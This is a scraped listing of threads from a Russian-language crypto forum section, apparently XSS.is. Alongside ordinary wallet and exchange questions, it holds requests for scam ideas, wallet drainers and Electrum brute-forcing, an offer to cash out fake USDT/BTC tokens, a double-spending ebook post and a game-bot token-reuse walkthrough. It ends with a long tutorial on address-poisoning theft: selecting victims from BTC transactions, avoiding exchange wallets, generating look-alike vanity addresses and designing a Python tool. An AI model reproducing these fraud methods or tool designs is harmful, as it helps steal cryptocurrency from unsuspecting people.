
Анонимная криптовалюта и её разработка
ID: 67686ad7b4103b69df379959
Thread ID: 58255
Created: 2021-10-27T21:16:29+0000
Last Post: 2022-06-06T16:39:30+0000
Author: pinkdeath
Replies: 15 Views: 755

Недавно, возвращаясь домой, задумался о том, что было бы не плохо придумать анонимную криптовалюту. Идея о создании таковой уже давно летала у меня над головой. И вот я стал задумываться о реализации...
Меня осенило, и я в своей голове представил некоторый алгоритм шифрования, связанный с геометрическими фигурами. Саму схему рассказывать не буду, но как мне кажется, она весьма достойная. Собственно сам вопрос - на каком языке программирования лучше всего реализовывать данную идею. Для начала, планирую просто реализовать шифр в простой программе, что бы понять саму концепцию. Если есть какая-то информация, или какие-то мануалы по написанию, советы и т.п. буду очень сильно благодарен.
Спасибо.
(прошу без жесткой критики, т.к. я описал не все ньюансы)

Del
ID: 67686ad7b4103b69df3798dc
Thread ID: 77329
Created: 2022-12-04T10:16:52+0000
Last Post: 2022-12-04T11:53:46+0000
Author: RedDragon
Replies: 5 Views: 752

Del

NFT GetGems
ID: 67686ad7b4103b69df37974a
Thread ID: 111037
Created: 2024-03-22T05:19:22+0000
Last Post: 2024-04-13T06:50:10+0000
Author: AlwaysP
Replies: 10 Views: 750

Подскажите, какие лучше NFT взять на GetGems?
Есть какие нибудь группы, отслеживающие онлайн потенциальные в будущем дорогие NFT?

Проблемы с метамаском
ID: 67686ad7b4103b69df3798cd
Thread ID: 79118
Created: 2023-01-02T09:37:59+0000
Last Post: 2023-01-02T15:10:11+0000
Author: вавилонец
Replies: 24 Views: 746

Не входит в учетку ни с паролем ни сид-фразой, есть у кого еще такие проблемы? Началось сегодня

Индикатор Market Cipher
ID: 67686ad7b4103b69df379719
Thread ID: 116934
Created: 2024-06-16T00:02:31+0000
Last Post: 2024-06-17T15:43:26+0000
Author: JerryManson
Replies: 4 Views: 746

Могу сделать lifetime подписку на ваш аккаунт Trading View за $100. Не слетит, на гаранта согласен. Кому интересно, то можете просто загуглить название и ознакомиться. Кому надо, то жду в PM. Количество неограниченно.

По личному опыту вполне хороший индикатор, ориентироваться неплохо помогает.

Открыть кошелек Blockchain в Electrum
ID: 67686ad7b4103b69df379964
Thread ID: 58694
Created: 2021-11-09T18:42:08+0000
Last Post: 2022-05-30T11:11:43+0000
Author: Anunnack
Replies: 14 Views: 744

Всем привет! Есть данные кошелька, созданного на блокчейн.ифно в 2016 году. Есть вся информация, первый и второй пароли. При заходе на кошелек, я не могу найти как импортировать приват кей в электрум! Пытаюсь из блокчейна вставить сид из 12 слов в електрум, в разных вариациях. Пустой кошелек!
Но когда создавался кошелек, на ряду с айди и паролями есть видимо сид фраза но из 18 слов. Ни електрум, ни что либо другое не видит в этой сид фразе валидных слов! Так же на основе сида из блокчейна я пытался сгенерить привак кей и засунуть его в электрум, все равно пустой кошелек! Но на блокчейне, на нем есть биткоины! Что я делаю не так? Ткните носом, заранее спасибо!

Аудиты смарт контрактов
ID: 67686ad7b4103b69df379691
Thread ID: 126276
Created: 2024-11-05T15:00:48+0000
Last Post: 2024-11-13T01:39:43+0000
Author: Bazooka
Replies: 9 Views: 744

Ищу человека кто познал Solidity и подобные ему языки, с опытом работы в ИБ и проведением аудитов на веб 3.0 , если такие есть, пожалуйста отзовитесь.

Fake коины нужен обнал если возможно
ID: 67686ad7b4103b69df3799d8
Thread ID: 57456
Created: 2021-10-06T23:39:21+0000
Last Post: 2021-10-21T12:00:34+0000
Author: IamTheScorpion
Replies: 17 Views: 741

Привет всем, есть фейк коины Tether и BTC, созданы в сети erc20 и bep20, я не знаю можно ли будет их перевести на другой токен в той же сети... Готов продать за 15% от суммы, скрины ниже

Синхронизация Monero
ID: 67686ad7b4103b69df379a6c
Thread ID: 41464
Created: 2020-08-28T13:49:53+0000
Last Post: 2020-08-28T14:23:46+0000
Author: Misha_Klg
Replies: 1 Views: 739

Доброго дня.

Поделитесь опытом, кто синхронизировал предустановленный кошелек Monero на Whonix'e. Сколько по времени скачавался? У меня уже неделю качается.

И чем меньше блоков остается, тем медленее идет процесс. Можно его как-то убыстрить?

Братцы хелп
ID: 67686ad7b4103b69df379764
Thread ID: 110640
Created: 2024-03-17T20:15:05+0000
Last Post: 2024-03-18T15:27:37+0000
Author: splash_gos
Replies: 16 Views: 739

**_Ребят вообщем ситуация такая, я с казино сделал вывод но в казино я выбрал сеть usdt erc-20, а по факту ввел кошелек usdt bsc, возможно ли как то спасти ситуацию, и вернуть деньги?

Очень надеюсь, что кто-то связывался с такой проблемой и находил решение. Хелп братья _**

WhiteBit ваш опыт
ID: 67686ad7b4103b69df3797dc
Thread ID: 95836
Created: 2023-08-16T20:24:52+0000
Last Post: 2023-10-14T13:11:35+0000
Author: SaintLabel
Replies: 8 Views: 738

Здравствуйте, друзья, всё время пользовался Binance, тут мне недавно на глаза попался WhiteBit, который соблазняет криптодепом на 24% годовых, расскажите про свой опыт пользования площадкой. Очень уж неадекватный процент как по мне

Обмен криптовалюты без регистрации
ID: 67686ad7b4103b69df379a08
Thread ID: 54155
Created: 2021-07-19T02:09:14+0000
Last Post: 2021-07-20T20:21:45+0000
Author: Tubu
Replies: 4 Views: 738

https://changenow.io/ru

https://stealthex.io/

https://simpleswap.io/

https://godex.io/ru

https://bestchange.ru/

Всем привет, сливаю приват BTC обменник
ID: 67686ad7b4103b69df3797d9
Thread ID: 100437
Created: 2023-10-19T14:02:45+0000
Last Post: 2023-10-20T13:57:34+0000
Author: Blackod
Replies: 4 Views: 736

Слив btc обменника
Шикарнейшая админка

1. Bootstrap 3 адаптивный дизайн
2. Интерфейс JQuery для обмена
3. Jquery калькулятор для расчета суммы быстрой
4. Система Multilanguage
5. Поддержка RTL языков
6. Автоматически получить международный курс по Google API обмена валют
7. Автоматически получить Bitcoin цена от BTC-e.com
8. Партнерская программа
9. Отзывы
10. Предельная информация
11. Gateways Дополнительная плата
12. Система Track для теплообменников
13. Действия администратора уведомления о новых запросах обмена Статус
14. Оператор в заголовке
15. 3 шага для проверки учетной записи
16. SSQL безопасности
17. Хороший пользовательский интерфейс
18. Уведомления по электронной почте для каждого статуса обмена
19. Вариант: Администратор может потребовать, чтобы пользователь имел учетную запись для обмена
20. Бумажник система
21. Система вкладов
22. Отправить деньги с кошелька на пользователя на сайте
23. Транзакции Система
24. Прибыль Система
25. Изъятие
26. Реферальная система
**
Я не могу быть уверенным на 100%, что его никто до меня не сливал, в закромах телеграма много полезного лежит, лежа на боку перед сном, наверное, каждый ковыряется в своем телефоне, вот и я не исключение, по поводу обменника стучитесь в ЛС форума, каждому дам ссылку на скачивание, всем добра!**

You must have at least 15 message(s) to view the content.

Инвестиции в криптовалюты
ID: 67686ad7b4103b69df3799fe
Thread ID: 54314
Created: 2021-07-23T11:53:06+0000
Last Post: 2021-08-09T12:32:12+0000
Author: sv37qR0
Replies: 8 Views: 733

Добрый день!
Я уверен, что здесь есть люди, которые инвестируют в криптовалюты.
Будьте добры, поделитесь своим опытом.
В какие криптовалюты стоит инвестировать?
Какую биржу выбрать для покупки криптовалюты?
Какой кошелёк лучше всего для хранения криптовалюты?
Заранее огромное, человеческое спасибо.
Буду очень рад, если Вы напишите в теме или лс.

Торговый индикатор и торговый бот.
ID: 67686ad7b4103b69df379991
Thread ID: 61357
Created: 2022-01-13T20:43:46+0000
Last Post: 2022-02-26T15:06:00+0000
Author: OP13
Replies: 4 Views: 732

Доброго времени суток всем. Занимаюсь разработкой торговых систем для крипты и фонды. Сейчас есть 2 готовых продукта - это торговый индикатор и торговый бот. Если есть желающие сотрудничать то со мной можно связаться в телеграмме @trulean.
Индикатор показывает точки входа в сделки на шорт и лонг. Работает на разных таймфреймах и монетах. Список рекомендаций тоже получите. Даю 1 неделю пробника.
Торговый бот работает через API ключи, тут уже как хотите на доверие, насколько я знаю через API украсть деньги нельзя. Список сделок бэктеста за 2 года могу предоставить.

Самый крупный взлом в истории DeFi
ID: 67686ad7b4103b69df3799eb
Thread ID: 55686
Created: 2021-08-22T09:02:20+0000
Last Post: 2021-09-04T22:19:46+0000
Author: Lescer
Replies: 5 Views: 730

Взлом межсетевого протокола Poly Network стал крупнейшим в истории DeFi проектов. Хакер смог украсть $611 миллионов 10 августа 2021 года, но по просьбе команды Poly Network вернул деньги и раскрыл все детали. В этой статье вы узнаете подробности взлома Poly Network.
10 августа в официальном аккаунте Poly Network в сети Twitter появилось сообщение о том, что проект был атакован и хакеру удалось вывести средства на несколько кошельков:

ETH: 0xC8a65Fadf0e0dDAf421F28FEAb69Bf6E2E589963
BSC: 0x0D6e286A7cfD25E0c01fEe9756765D8033B32C71
Polygon: 0x5dc3603C9D42Ff184153a8a9094a73d461663214

Представители проекта попросили майнеров и биржи внести в черный список эти кошельки и транзакции, которые через них проходят.

Хакер увел с баланса протокола многие токены, включая $USDC, $WBTC, $WETH, $RenBTC, $DAI, $UNI, $SHIB, $FEI и другие.
Проект открыто рассказывал о деталях взлома по мере их обнаружения.

Сообщество быстро отреагировало на ситуацию. Через час после информации о взломе, CEO Binance подтвердил то, что они следят за ситуацией, а Tether и вовсе заблокировал $33 миллиона на счету хакера.

Пользователь твиттер под ником Hsaka отправил на кошелек хакера транзакцию с предупреждением о том, что украденные средства внесены в черный список, на что хакер ответил транзакцией в 13,37 ETH ($42,000) с благодарностью.

Вечером 10 августа появилась информация о том, что компания Slowmist смогла отследить хакера и получить его IP-адрес и электронную почту через китайский обменник Hoo, которым хакер воспользовался для обмена популярного у хакеров токена Monero на BNB, ETH и Matic, которые были использованы при взломе.

Еще пару часов спустя представители Poly Network обратились к хакеру с просьбой вернуть средства и указали контакт для связи.

Ко всеобщему удивлению, хакер вышел на связь и пообещал вернуть украденные миллионы.

Еще пару часов спустя представители Poly Network обратились к хакеру с просьбой вернуть средства и указали контакт для связи.

Ко всеобщему удивлению, хакер вышел на связь и пообещал вернуть украденные миллионы.
О возврате Poly Network отчитывались почти в прямом эфире. В первой транзакции хакер вернул $4,7 миллиона, а в течение суток проект получил уже $342 миллиона. К моменту написания этой статьи ожидался возврат $268 миллионов через блокчейн Ethereum.

Самое интересное то, что хакер дал интервью. Свои ответы он встроил в текст транзакции. Для того чтобы увидеть ответы нужно перейти на сайт etherscan.io, кликнуть на “Click to see More” и под блоком “Input Data” переключить отображение “View Input As” на кодировку “UTF-8”.

Рассказ хакера кратко:

У меня были смешанные чувства, когда я увидел баг. Спросите себя, что бы вы сделали, если бы вам так повезло. Спросили бы у проекта могут ли они закрыть баг? Любой мог бы стать предателем, если бы ему дали миллиард. Я никому не мог доверять. Единственный вариант, который я увидел, это сохранить деньги в безопасном аккаунте, оставаясь при этом анонимным и в безопасности. Теперь каждый чувствует заговор в произошедшем. Думаете это инсайдер? Не я, но кто знает? Я взял на себя ответственность показать уязвимость до того как о ней узнали инсайдеры и смогли воспользоваться багом.
Poly Network это хорошая система. Это была одна из самых сложных атак, которой может насладиться хакер. Мне нужно было сделать это быстро, чтобы опередить инсайдеров и хакеров, так что я принял это как дополнительный вызов.
На вопрос был ли хакер раскрыт, он ответил отрицанием. Если расследование и получило его данные, то там лишь временная почта и поддельные сетевые отпечатки.

Click to expand...

Источник: [https://www.coinside.ru/2021/08/12/...etwork-na-611-millionov-i- intervyu-s-hakerom/](https://www.coinside.ru/2021/08/12/krupnejshij-vzlom- poly-network-na-611-millionov-i-intervyu-s-hakerom/)

Bitcoin Double-Spending Techniques (Ebook)
ID: 67686ad7b4103b69df379890
Thread ID: 83258
Created: 2023-03-05T21:11:55+0000
Last Post: 2023-03-07T01:27:48+0000
Author: anubis7
Replies: 9 Views: 727

Bitcoin Double-Spending Techniques: Including the 2023 Method for Cancelling Transactions with 1 Confirmation using Blockchain.com Wallet

Download Link : <backdoored - removed>

Popular Crypto scams - help
ID: 67686ad7b4103b69df379777
Thread ID: 109466
Created: 2024-03-02T03:29:21+0000
Last Post: 2024-03-04T06:05:20+0000
Author: pierre777reborn
Replies: 13 Views: 726

Hi I'd like to know what are the trending crypto scams right now

- Elon Musk scam on YT (youtube takes videos down)
- Frontrunner bot on YT (as above)
- sweeper bot - sending trapped wallets to people (very very low rewards)
- crypto investment romance scam (time consuming, hard)

Carding is not my lane, I wanna do crypto scams. Any ideas?
Also how to spread for free since YT is dead

С чем едят драйнер ?
ID: 67686ad7b4103b69df379888
Thread ID: 83785
Created: 2023-03-14T13:51:22+0000
Last Post: 2023-03-20T16:41:28+0000
Author: LindemannV
Replies: 10 Views: 723

Ребята есть ли какие не будь темы по тематики что такое драйнеры и как пользоваться , какие не будь мануалы , охота узнать все об этой кухне !

Как зайти по файлам метамаска в аккаунт?
ID: 67686ad7b4103b69df379730
Thread ID: 114326
Created: 2024-05-11T20:43:32+0000
Last Post: 2024-05-15T07:41:53+0000
Author: repository
Replies: 4 Views: 722

Помогите побратске! Заранее спасибо

BOT Hamster Combat - кликер на запросах
ID: 67686ad7b4103b69df37971e
Thread ID: 116143
Created: 2024-06-05T13:53:35+0000
Last Post: 2024-06-06T05:37:53+0000
Author: _lain
Replies: 5 Views: 722

Заметил что опять какая та игра хайпит в ноткоинах типичный кликер, ну решил написать бота.
1. Сначала обходим блокировку, для этого нам нужен инспектор.
2. Включаем в экспериментальных настройках нужную опцию (Включить инспектор в webview).
3. Затем открываем игру и правой кнопкой мыши открываем DevTools.
4. Переходим в "Sources" и ищем файл с названием "default" в имени, например, "default.DhSHMFLL.js".
5. Ищем "if (A)" рядом с "if (await c.check()" и ставим там точку останова (breakpoint).
6. Перезапускаем приложение. Когда включится точка останова, идем в консоль и пишем A = true.
7. Затем отключаем паузу, и вот, мы обошли блокировку на ПК.
8. Переходим в "Network", и нужно один раз нажать, чтобы появился запрос, именно POST-запрос.
9. В нем копируем Bearer токен и вставляем в скрипт. Перед использованием должен быть установлен Node.js.
10. Затем устанавливаем модуль axios, если это первый раз, и запускаем скрипт. Как видим, скрипт работает.
11. Чтобы обновить баланс, нужно нажать.

Video как юзать.: <https://transfer.adttemp.com.br/4Cl5y/2024-06-05-06-01-12-online-video- cutter.com.mp4>
Сори что обрезал пару кадров нотификация вылезла.

P.S На видео тг не моя она с логов.
З.Ы позязя можно по рефке моей https://t.me/hAmster_kombat_bot/start?startapp=kentId6172150641
Это не обязательно, но мне было бы приятно

Как майнить в 2023?
ID: 67686ad7b4103b69df3797e1
Thread ID: 97263
Created: 2023-09-04T12:36:44+0000
Last Post: 2023-10-04T12:24:06+0000
Author: Unseen
Replies: 5 Views: 721

Добрый день, форумчане. Имеются компьютеры со средней видеокартой , какой Майнер можно на них установить ? Если можно ссылку на гайд ))

Как выводить деньги с ByBit без комиссии на карту, кошелек и другие биржи
ID: 67686ad7b4103b69df379769
Thread ID: 110410
Created: 2024-03-14T17:45:29+0000
Last Post: 2024-03-15T12:34:23+0000
Author: CVVHQHUB
Replies: 7 Views: 717

Привет, друзья! Если вы здесь, значит, интересуетесь, как снять деньги с ByBit. Не волнуйтесь, я подготовил для вас подробное руководство по всем доступным способам вывода средств с этой платформы.

Прежде всего, чтобы начать работу с биржей, необходимо зарегистрироваться и пройти KYC верификацию. Регистрация по реферальной ссылке может принести вам до $4000 бонуса и дополнительные Airdrop. В знак благодарности можете пройти регистрацию по ссылке https://www.bybit.com

1. Вывод на банковскую карту через кошелек​

Самый простой и удобный способ – это перевести активы в USDT и отправить их на кошелек для финансирования. Для этого перейдите в раздел «Активы» -> «Спотовый» -> «Финансирование», выберите нужную монету и сумму, и подтвердите перевод. Перевод между своими кошельками осуществляется без комиссии.

После этого переходите в раздел «Купить криптовалюту» -> «Р2Р торговля», выбираете «Продажа», указываете сумму, валюту получения и способ оплаты. После выбора продавца и нажатия кнопки «Продать USDT», продавец отправит вам деньги на карту.

2. Вывод на криптокошелек или другую биржу​

Для этого используйте средства со своего спотового аккаунта. Перейдите в раздел «Активы» -> «Спотовый» и нажмите кнопку «Вывести» напротив нужного актива. Укажите адрес вашего криптокошелька или адрес другой биржи, выберите сеть и подтвердите перевод.

3. Внутренний перевод на другого пользователя ByBit​

Перейдите в раздел «Спотовый» -> USDT -> «Вывести» и выберите «Внутренний перевод». Укажите номер телефона или электронную почту получателя, сумму и подтвердите перевод.

4. Использование криптообменника BestChange​

Выберите монету, сеть, страну и город на сайте BestChange, отметьте подходящий обменник, и курьер доставит вам наличные. Также можно воспользоваться различными платежными системами и банковскими переводами.

Теперь вы знаете все возможные способы вывода средств с ByBit. Удачной вам торговли!

Майнинг для новичков
ID: 67686ad7b4103b69df379668
Thread ID: 128472
Created: 2024-12-07T22:04:39+0000
Last Post: 2024-12-13T13:05:47+0000
Author: ips
Replies: 6 Views: 716

Мне для своих задач нужны чистые майненные битки. Не с бирж, а именно от майнеров. Я не могу найти, у кого их купить и под нужные мне объемы.
Выходов на майнеров нету, биткоинталк не помог.
Остается майнить самому.
Подкиньте мануал, видос на ютубе, как запустить майнинг проихводство )))
Пошагово. Как купить оборудование, какое купить и как подключить
С криптой работаю давно, а вот с майнингом НИКОГДА не сталкивался
Выход на э/э найду

Новая версия Electrum
ID: 67686ad7b4103b69df3797e7
Thread ID: 96528
Created: 2023-08-25T11:23:41+0000
Last Post: 2023-09-18T08:07:39+0000
Author: Lanet
Replies: 5 Views: 714

Вот что написано

- security fix: multiple lightning-related security issues have
been fixed. We will disclose these in detail on 2023-09-11.

Click to expand...

Я правильно понял "Мы нашли баг в безопаности, но сейчас вам не расскажем, ждите сюрприз 11 сентября, в годовщину трагедии в США, вы узнаете, как тырят деньги сейчас с вашего кошелька версии 4.4.5"?

Брут Electrum
ID: 67686ad7b4103b69df3796af
Thread ID: 125101
Created: 2024-10-19T07:06:28+0000
Last Post: 2024-10-20T07:49:18+0000
Author: MLeak
Replies: 3 Views: 713

Есть бэкапы кошельков электрума, суммы разные. Как и чем брутить ?

Monero AML
ID: 67686ad7b4103b69df3797d8
Thread ID: 100529
Created: 2023-10-20T17:05:52+0000
Last Post: 2023-10-21T21:43:00+0000
Author: master0
Replies: 11 Views: 711

Хочу обменять monero в нал, обменник вешает дисклеймер, что по результатам AML могут морозить. Важно знать, так как меняю на локалмонеро, как я понимаю там средства могут быть любого качества...

Информация с криптобиржи
ID: 67686ad7b4103b69df37967d
Thread ID: 117530
Created: 2024-06-25T09:53:02+0000
Last Post: 2024-11-30T12:52:59+0000
Author: Sandro32
Replies: 3 Views: 711

Инфа с бирж нужна, условно Бинанс, гарантекс все топ биржи, посоветуйте продавцов?)))))Заранее благодарю

[PART 0] Address Poisoning - курица, несущая золотые яйца? Устройство "русской рулетки" изнутри. Голая математика и цифры, ничего более.
ID: 67686ad7b4103b69df379663
Thread ID: 128857
Created: 2024-12-13T02:03:21+0000
Last Post: 2024-12-17T15:50:28+0000
Author: chiefchain
Prefix: Статья
Replies: 3 Views: 706

Spoiler: soundcloud

[__https://soundcloud.com/beachbunnymusic%2Fsets%2Fbeach-bunny-on-audiotree- live](https://soundcloud.com/beachbunnymusic%2Fsets%2Fbeach-bunny-on- audiotree-live)

Написано - chiefchain
Для - XSS.is

1. Введение
1.1 О чём статья?
Здрасте, поговорим про "Отравление адресов", тема для обсуждения достаточно интересная. Много кто относится к ней отрицательно, считая людей, продающих ПО под эту атaку, идиотами, ведь зачем продавать курицу, несущую золотые яйца? Этот вопрос, кажется мне, является одним из главных, которые еще можно рассмотреть внутри этой темы. Немного проанализируем, посчитаем, рассмотрим уже успешные истории и немного посчитаем цифры, прибегая к индукции, а после ответим на вопрос: есть ли всё же тут некая закономерность, или же это все же просто вопрос удачи, времени, настойчивости? Cтатья будет разбита на две части, материала много, не хочется перегружать ни себя, ни вас. Напишем один из модулей в этой статье, а во второй, думаю завершим вместе со всеми модулями. При желании, можно будет все модули собрать в одно целое, основываясь на статью и немного своих возможностей.
1.2 И что это значит "Отравить адрес"?
Этот термин появился еще в далеком 2023 году, именно тогда такие случае обрели популярность в криптосообществе. В основе атаки лежит самая обыкновенная человеческая невнимательность, чтоб денюжки пришли не тому человеку, которому он отправил, а нам. Поспособствовало продвижению этой темы возможность генерировать vanity-адреса, их особенность в том, что можно задать параметры для "генерации" адреса, то есть можно написать задать наличие "hiha" в адресе и будут искаться такие, а после вы получите приваткей для доступа к нему . Воспользоваться этим можно даже в интернете, достаточно забить в поиск любого поисковика: "vanity address generator". Один из сайтов позволяет это сделать прям на нём с указанными вами параметрами. Примера ради, сгенерировал вот такой вот интересный адрес: "1EVGT9GsqsK3L1x1Mu7DigaitsGUzDSxss ", в конце видим "xss", и так можно сделать кучу похожих адресов на какой нибудь другой.
1734037109439.png
Но проблема заключается в другом, в том как различные кошельки отображают переводы. Большинство показывает n-ое кол-во первых символов и последних, именно таким образом мы и пытаемся обмануть пользователя, чтоб он запутался, и как говорилось ранее по невнимательности своей, отправил деньги не туда уже куда надо.
1734037204845.png
Сгенерировать можно абсолютно любой адрес, но тут уже начинает назревать вопрос, а какое количество мощности мы готовы выделить на эту генерацию? В частом случае повторяют первые три символа и два последних, но это конечно исключительно желание того, кто будет генерировать такие адреса. Есть у таких адресов конечно и свои слабости, они легче поддаются взлому, связано это с тем, что процесс генерации не является случайным, ведь мы отталкиваемся от определенных шаблонов, которые задаем. Так же возможны уязвимости и в самих таких инструментах, а именно не очень безопасные псевдогенераторы чисел, в таком случае можно зареверсить алгоритм, и уже доставать нужные приват ключи, которые были созданы с него. Такая история произошла в сентябре 2022 года, когда всё случилось именно так как описано предложением ранее, софт этот назывался "Profanity". По этому, если вы не хотите потерять свои кровные, не понтуйтесь лишний раз, не используйте vanity-адреса в целях хранения средств, высока вероятность остаться без штанов.
1.3 Как это работает со стороны технического устройства?
У‎ нас‎ есть‎ кошелек-донор,‎ на‎ котором‎ лежит‎ n-ая‎ сумма‎ денежек,‎ которую‎ мы‎ будем‎ раскидывать‎ по‎ жертвам.‎ Так‎ же‎ есть‎ функция,‎ которая‎ используется‎ для‎ мониторинга‎ транзакций‎ в‎ выбранной‎ нами‎ сети.‎ Мы‎ отслеживаем‎ транзакции,‎ анализируем‎ суммы‎ и‎ ,‎ если‎ они‎ соответствуют‎ нашим‎ критериям,‎ которые‎ так‎ же‎ настраиваются,‎ чтоб‎ понять‎ "ожидаемый"‎ выхлоп,‎ а‎ так‎ же‎ не‎ стоит‎ забывать,‎ что‎ нам‎ надо‎ избегать‎ "горячих"-кошельков‎ бирж,‎ эти‎ данные‎ мы‎ можем‎ собрать‎ в‎ интернете,‎ чтоб‎ быть‎ уверенным‎ на‎ 100%,‎ либо‎ же‎ можем‎ выставить‎ верхний‎ потолок‎ по‎ количеству‎ денег‎ на‎ кошельке,‎ ибо‎ денег‎ на‎ таких‎ кошельках‎ выше‎ крыши,‎ и‎ только‎ в‎ случае‎ всех‎ успешных‎ проверок,‎ начинаем‎ процесс‎ генерации‎ похожего‎ адреса‎ как‎ говорил‎ ранее.‎ После‎ генерации‎ адреса‎ мы‎ отправляем‎ небольшую‎ сумму‎ с‎ кошелька-донора‎ на‎ этот‎ сгенерированный‎ адрес,‎ а‎ после‎ уже‎ перечисляем‎ нашей‎ жертве.‎ И‎ тут‎ уже‎ начинается‎ лишь‎ вопрос‎ времени,‎ ведь‎ для‎ нас‎ лучшим‎ исходом‎ будет,‎ когда‎ жертва,‎ отправляя‎ средства‎ в‎ будущем,‎ может‎ случайно‎ скопировать‎ один‎ из‎ этих‎ самых‎ "отравленных"‎ адресов‎ вместо‎ правильного,‎ тем‎ самым‎ переводя‎ деньги‎ нам.‎ Выглядит‎ это‎ все‎ банально‎ просто‎ и‎ по‎ дурацки,‎ но‎ что‎ если‎ мы‎ посмотрим‎ на‎ сумму‎ ущерба‎ от‎ таких‎ атак?‎ Дело‎ в‎ том,‎ что‎ зачастую‎ именно‎ самые‎ тупые‎ и‎ примитивные‎ "схемы"‎ работают‎ в‎ безумных‎ объемах.
1734041352692.png
1.4 Главная уязвимость компьютера - нахождение человека за ним. Сколько было потеряно на таких атаках?
Человеческий фактор является "вечной" уязвимостью в области кибербезопасности. В 2024 году на отравлении адресов, согласно данным, опубликованным в отчетах Cyvers и Chainalysis, было потеряно $71,475,000 на основе 361 случая. Однако это лишь заявленные случаи, и реальные потери, я более чем уверен, значительно выше, так как не все жертвы сообщают об этом, ведь еще опозорятся какой они глупенькие, да, и шансы вернуть деньги крайне малы. Если сравнить эту цифру с 2023 годом, то рост потерь увеличился более чем на 100%. Примером одной из крупных атак можно рассказать о случае на $68,000,000, история вышла с неплохим концом, если вкратце то один из "китов" отправил денюжки на "отравленный" адрес, но всё обошлось, видимо, наш "коллега" испугался, ведь цифры до ужаса огромные, я не знаю кто бы не испугался, и смог бы спокойно спать после такого, ведь такие случаи, зачастую просто с рук ни кому не сходят. По итогу он вернул все деньги спустя 66 дней, но при этом всё равно смог заработать на этом $1,500,00 за счёт того, что биток вырос.
1734041732865.png
1.5 Посчитаем с точки зрения математической индукции? Да, какая к черту точная наука в социологии. Нутро "русской" рулетки.
Никогда, никогда не думайте, что можно связать атаку, основанную на социологии, с математикой. Ведь это больше похоже на бред сумасшедшего, ведь человек сам по себе - существо непредсказуемое, и никогда не знаешь, что может произойти спустя даже минуту. Математика бессильна в этом случае, ведь человеческий фактор - это не формула. Люди не живут строго по алгоритму, как предполагает математика. Внимательность, эмоции и даже усталость играют ключевую роль. Математика не учитывает такие переменные. Непредсказуемость поведения - ключевая проблема. Математическая индукция предполагает, что жертва будет действовать предсказуемо, но в реальности поведение людей может быть абсолютно непредсказуемым. Атака с отравлением адресов - это не точная наука, а игра с человеческим фактором, где успех зависит от лишь от удачи. Отбросьте все мысли, что это курица, несущая золотые яйца. На самом деле, это лишь вопрос вашего везения, бюджета и настойчивости.
1734041519576.png
1.6 Почему так важен выбор сети, с которой будем работать?
Вы хотите попробовать работать на долгую или же хотите слить весь бюджет сразу, а? У нас выполняется аж два перевода, первый с донора на сгенерированный, а следующий уже с него на жертву. Комиссия тоже денег стоит, хоть и отправлять мы будем абсолютные копейки, ради того, чтоб наш перевод просто закрепился в истории у человека, а комиссия уже это вопрос.. Давайте возьмем примера ради три самых популярных сети: TRC-20, ERC-20, и BTC. Давайте возьмём так, мы берем только голые сравнения, все будут на равных, я не буду брать в учет, что в TRC-20 можно экономить на комиссии за счёт энергии, вырабатываемой в стейкинге TRX, ведь тогда это уже будет не объективное сравнение. Так же стоит понимать, что желательно выполнять все эти махинации в рамках атаки как можно скорее, чтоб закрепиться у человека в памяти, пока он еще хорошо помнит о транзакции. Всего возьмем условно 100 транзакций, посчитаем сколько в "теории" можно потратить (комиссия всегда крайне волатильна, по этому теория взята в ковычки). Данные по комиссиям я буду брать простым запросом в google: average fee in {сеть} for 2023. По TRC-20 у нас вышло за одну транзакцию 14 тронов, по словам интернета, формула у нас будет везде единая, банально умножаем комиссию на два, предварительно переведя её в доллары, из-за двух переводов, и добавляем $0.01.
1734043100227.png
Бамц, получаем бешенные цифры на 100 жертв, аж 829$ спущенных с высокой вероятностью в пустоту, или же все таки выиграете джекпот.
1734043345425.png

Проделываем такие же действия для оставшихся сетей и получаем такое вот.

В ERC-20 выходят такие показатели:

Итого за 100 транзакций: 2.186 * 100 = 218.6

В BTC же практически на уровне TRC-20

Итого за 100 транзакций: 7.888 * 100 = 788.8
Выглядит всё это, конечно, грустно. Комиссии конские, но что уж поделать.

2. Практическая часть.
2.1 А на чём пишем? Как пишем? Что пишем? Какая структура?
По итогу мы остаёмся работать с сетью BTC, так как самые большие заработки судя по ресерчам от крипто-детективов именно здесь. Писать будем на Python. Нужны будут модули, которые: будут отвечать за отправку денежек на нужные адреса, парсинг транзакций и их проверку по нашим критериям, сбор оптимальной комиссии на актуальное время, логирование в телеграм о работе софта, и конечно само генерирование наших vanity-адресов с последующим сохранение приват кеев от них, с целью потом гонять в чекере и проверять капнула ли денюжка. Я не любитель подавать всё готовое на блюдечке, к сожалению. По этому всё будет разбито по модулям a.k.a отдельным функциям, при желании вы сможете собрать это всё целиком и полностью.
2.2 Собираем транзакции в BTC. Выстраиваем критерии. API или нода?
Бадабумц, критерии. Помним в первую очередь, что нам нужна фильтрация от определенной n-ой суммы. Так же в связи с реализацией биткоина таким образом, что при переводе кому-либо, можно еще сказать, что ты переводишь и все оставшиеся деньги, но это сдача, и по этому из выходов транзакции, надо будет удалять адреса с которых идёт вход. По основным критериям всё, а теперь вопрос, как это можно реализовать? В голове у меня возникла мысль, и она мне кажется верной, по этому использовать мы будем её. Цель заключается в том, чтоб получать высоту последнего подтвержденного блока, после получаем его хэш, который записываем, чтоб потом мы не гоняли его по второму разу, а затем уже запрашиваем у блока все транзакции, которые есть в нём. Там же у нас появляется еще одна потребность в переводе всего в вечнозеленые тугрики, ради удобства и комфорта, нежели считать в сатоши, по этому нам постоянно нужен будет актуальный курс, чтоб наверняка не ошибиться, в конце, как всё перевели, сравниваем с нашими критериями, и делаем вывод, подходит ли нам такой вариант, аля нет? Для более удобной передачи между модулями, будем использовать JSON- формат, идеально вписывается вот сюда. Данные, которые нам придется сохранять со 100% вероятность это: все кошельки входов и выходов, сумма в сатоши и USD. Некоторую мета-информацию я всё равно оставляю, ибо есть некая привычка комиссию считать в сатоши, а битки в деньгах) Теперь задаемся вопросом, а что использовать, готовое API или ставить ноду? Честно, выбор каждого, но здесь я выбрал работу через API, ибо ставить ноду это ёмко по ресурсам, и ставится она тоже достаточно долго из-за синхронизации блоков, начиная с далекого 2009. API будем пользоваться от https://mempool.space/ как минимум бесплатное и мне понравилась скорость его работы, остановился на этом. Все хардовые переменные засунем отдельно в конфиг для удобства. Ссылки у нас это нужные эндпоинты, min_amount - минимальная сумма, чтоб парс записал транзакцию, а timeout - это количество секунд, раз в которое будем проверять новые блоки.
1734053274929.png
